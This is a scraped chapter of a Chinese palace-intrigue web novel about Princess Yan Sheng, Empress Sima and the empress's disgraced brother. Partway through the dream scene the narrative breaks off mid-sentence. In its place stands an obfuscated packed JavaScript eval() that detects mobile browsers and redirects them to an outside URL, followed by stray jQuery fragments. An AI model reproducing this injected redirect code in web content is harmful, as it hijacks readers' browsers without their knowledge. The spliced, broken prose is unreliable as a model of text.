16. 承陛下恩情

作品:《摄政公主(女强)

    “笙儿,你怎么这么晚才回来?”司马皇后听说燕笙出去一天,到天黑还没回来,放心不下,听说她回宫了,连忙赶了过来。


    后宫本来是后妃和年幼的皇子公主居住的地方,燕笙从陈家离开后,住进了司马皇后居住的元庆殿,司马皇后平日和皇帝住在紫宸殿,偶尔才回来,倒也不妨碍。


    “母后,你怎么来了,父皇修道快要结束了罢。”奔波了一天,燕笙甚是疲惫,躺在贵妃榻上歇息。


    父皇自入道教后,每日都要花许多时间打坐修炼,不准任何人打扰,到晚膳后夜色深浓才结束。


    “时间还没到,母后趁着空隙来看你一眼。”司马皇后担忧地拉住燕笙的一只手,“你不要累坏了,茉莉,将本宫日常保养的饵石汤再给公主煲一盅来。”


    “不用了,我不喝那个。”燕笙疲惫地挥手,“母后你也不要多喝了,这东西没什么好的。”


    饵石就是钟乳石,是魏晋时五石散的主要原料,喝完那东西浑身发热,一整个晚上都散不掉,燕笙自己觉得怪异,任别人说的天花乱坠也不相信。


    “有什么不好的,你父皇都在喝。”司马皇后嗔怪道。


    在她心里,皇帝是她的夫君,也是她的天。她从不曾怀疑皇帝的任何决定。


    燕笙见状不再多劝。司马皇后不仅是她的母亲,更是一宫之后,当她不愿听从自己的话时,燕笙怎么也没办法。


    “对了,”燕笙想起了韦蝉衣的叔父,“母后可曾听说过前线缺粮的事?”


    司马皇后怔忪。


    燕笙见她表情不对,试探道:“母后知道内情?”


    “不知道,”司马皇后有些不自在道,“笙儿,你我是女眷,不该关心朝政大事……”


    燕笙明白了。


    她一定知道什么。


    强逼司马皇后是没用的,她有自己的原则。从小到大,她对于父皇身边的事,都是谨守本分,从不去干涉他做任何决定,甚至不会说任何话。只要父皇想做什么,她就做什么。


    即便父皇偶尔宠爱别的后妃,她也只是暗地神伤,甚至不会在自己面前表露,在父皇面前还会与对方姐妹相称,真正做到了容忍、大度的女德。


    所以父皇才会渐渐不要别的妃子服侍,选择最得他心的母后,十年如一日。


    “嗯,儿臣就是偶然听说。”燕笙装作不在意道,“恰好一个儿臣厌恶的女子卷入了这桩风波中,有些好奇而已了。儿臣不会插手的,母后放心。”


    “这就好。”司马皇后点了点头,母女间就这样静了半晌。司马皇后和女儿性格迥然不同,自孩子长大后,行为举止都和当初的她相差甚大。女儿是皇家的公主,不是普通女郎,陛下都没说什么,她便不禁锢她。到如今,母女俩居然没什么话好说。


    “这桩案子,母后也是听了一耳朵。”犹豫了片刻,司马皇后解围似的,把它当做笑话说起,“你父皇议事,母后素来不干扰的,就听见最后是交给了太子,想必太子不会放过生事的人。”


    太子不喜欢司马皇后,她知道。但又有几个庶子会喜欢不是亲生的母亲呢?


    司马皇后并不在意,或者说没那么在意。


    现在靠着陛下,万一有那么一天,陛下乘龙西去,她有可能没有赶上。但太子的生母早逝,她就是唯一的太后,太子怎会对她不敬?


    “太子?”燕笙琢磨着这两个字。


    是他?


    他与威武侯不睦不假,可这场战争牵涉甚大,他会冒险涉足吗?


    “笙儿?”司马皇后道。


    “哦。”燕笙笑道,“好久没听到太子皇兄的消息了,有些反应不过来。”


    “笙儿,别怪母后啰嗦。”司马皇后劝道,“母后没什么,你以后还要靠你皇兄,别跟他闹太僵了。”


    燕笙在麟德殿顶撞太子那天,她甚为忧心,在她看来,陛下其他皇子都不出众,自己也无所出,太子一定会登上大宝之位。燕笙在他面前争一时的口舌之快,以后该怎么办呢?


    “好了好了。”燕笙不想听她说这些,她改变不了母后的想法,母后也改变不了她的,只好转移话题,“母后,你知道我今天还去了哪里吗?”


    “哪里?”


    “舅父府上。”燕笙蓦地想起了在司马府的后院时,掌书记在她后头什么话也没说,一种莫名的遗憾之情却紧紧盘旋在她心头。


    后来撞见了舅父的一位良妾,掌书记带燕笙避开,打断了思绪,她才回来。


    此刻,面对着司马皇后,燕笙突然兴起了好奇:“母后,舅父小时候是不是很疼爱我?这些年我没和舅父往来,竟忘记以前他曾带我出宫去过了。”


    “他?”司马皇后冷笑,“你跟他有什么好说的,六年前,你在他府上摔碎了一颗牙,幸好后来长出来了。之后本宫就鲜少让他见你了。”


    原来是这样,她这些年和舅父关系疏远,是母后有意为之的。


    “今天在殿上,陛下还说……”说起司马游,司马皇后不禁想起了白天在殿前听到的另一件事,忍不住起了个话头,发觉自己失言,连忙将剩下半句咽进了喉咙里。


    “是和舅父有关?”燕笙道。


    “你别问了。”司马皇后不让燕笙再试探,起身道,“陛下该出来了,母后走了,你早点休息罢。”


    司马皇后离去后,燕笙躺在自己安身的侧殿里,一直考虑着该如何去套太子那边的消息,想着想着,却忽然想到了司马游。


    舅父在瞿西怎么样呢?他去之前说此行艰险,司马0府的掌书记却道他一定能化险为夷,最近一封书信刚报了平安。


    她们母女和舅父的关系真是疏远啊,要是舅父也定时给她写信,她就能问问舅父最近如何了,可曾遇到了什么事?


    ……


    就这样,燕笙进入了梦乡。


    她迷迷糊糊地又做了梦,这次的梦很奇怪,不是关于她的,她就像如一抹游魂,自由自在地在天空中飘荡。


    忽然来了一阵风,她猛然下坠,看到了一个她从未听说过的故事。


    ……


    隆冬。


    明光宫,含元殿前,大雪纷飞,一人跪着。雪花挂在他的鬓角和眉毛上,已经看不清他的面容。


    内侍监鱼有道躬着身将厚重的鎏金殿门轻轻阖上,不敢发出一丝一毫的声响。那呼呼的寒风,经过他的手一寸一寸挪移,从此消音了、闭气了,未曾扰到殿内死人般的寂静。


    一脱手出来,鱼有道


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980893|193578||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    就忍不住打了个寒噤,他的袄子犹带着内殿的热气,冷热交汇,那冷气循着他的骨头缝钻。


    旁边小的赶紧拿着披风来迎,他不但不接,还斥道:“你若是只有这点本事,回头秉了内侍省,趁早哪来的回哪去!”


    小徒弟一脸委屈地退下了,大徒弟范江拍拍他的肩,上前一步,顶了他的位置,也不说话,就干站在那儿,听鱼有道吩咐。


    鱼有道望着殿下那个人影,站在殿前看,不过拇指肚那么大,那份倔强与不甘却能扎痛人的眼睛。


    “国舅爷跪了几个时辰了?”


    范江低声道:“三个时辰了,再跪下去,膝盖都要跪坏了。”


    人君之怒,岂能轻易平息。


    鱼有道叹息着。


    国舅爷是个聪明人,他知道不能把责任全揽在自己身上。可陛下要他担,他难道还能不愿意?


    这不摆明把帽子往天子头上扣吗?


    到时候瞿西白骨都堆成山了,老百姓嚼着陛下的名讳骂,再闹出些个搭草台称王称帝的反民来,你司马游还能安坐这宰相之位?


    你担下罪名,陛下自会保你。这个道理,为官数十载,你是都吃到狗肚子里去了!


    鱼有道接过范江递过来的小手炉,重重地呼出两口寒气,总算不冷得打摆子了。


    里头那位气着,外边这位跪着,他要是披上厚氅,真成那扎眼的紫毛龟了。


    跪吧,跪吧,今日这雪可大着呢,看是你司马游的命硬,还是你的膝盖硬。


    鱼有道问:“中宫那位可曾传来消息?”


    范江表情莫名,摇头,轻声道:“只说求我们照看好国舅爷的身子,别教他冻坏了。”


    唉。


    鱼有道叹气,不禁道:“那一位于外朝之事还是少了些手段。”


    美是极美的,美到她那份上,倒真是人间少有,该是神仙手下的造物。可若花颜老去,还是只有一些闺阁手段,那就不够了。


    鱼有道说:“你替师父去给那位传个话,人家有求于我们,总得有回音。”


    范江带着鱼有道的消息来到了紫宸殿。


    司马皇后听闻,从殿中奔出,什么礼仪都顾不上了,急问:“内侍监说什么?”


    范江忧心道:“皇后娘娘,师父说,雪大了,怕国舅爷落下病根,求娘娘再劝劝他,今日就先回去了罢。”


    抬眼望,庭院中白雪飞扬,一眼望不到头,将地面都覆盖了。范江浅绯色的肩头上,水迹慢慢化开,湿做一片暗红。


    要是把司马游劝回去了,他今日所坚持的,便会化为乌有。


    可坚持,真的有用吗?


    反正她司马家的一切都来自皇恩,多些人骂她们,又会有什么不同呢?


    “好,本宫跟你去。”端详了外头一会后,司马皇后应道。


    “哎。”


    得了准信儿,范江的脸色不变,如忠厚的仆人一般接过司马皇后的手,要扶她去。只要司马皇后出现,不必说什么,他们就能将司马游抬走。之后司马家就背下了瞿西这一役,陛下的怒气自然会散去。至于司马家会承受什么,就和他们这些天子之奴无关了。


    这一份心思,一脸肃容的司马皇后却是丝毫不知。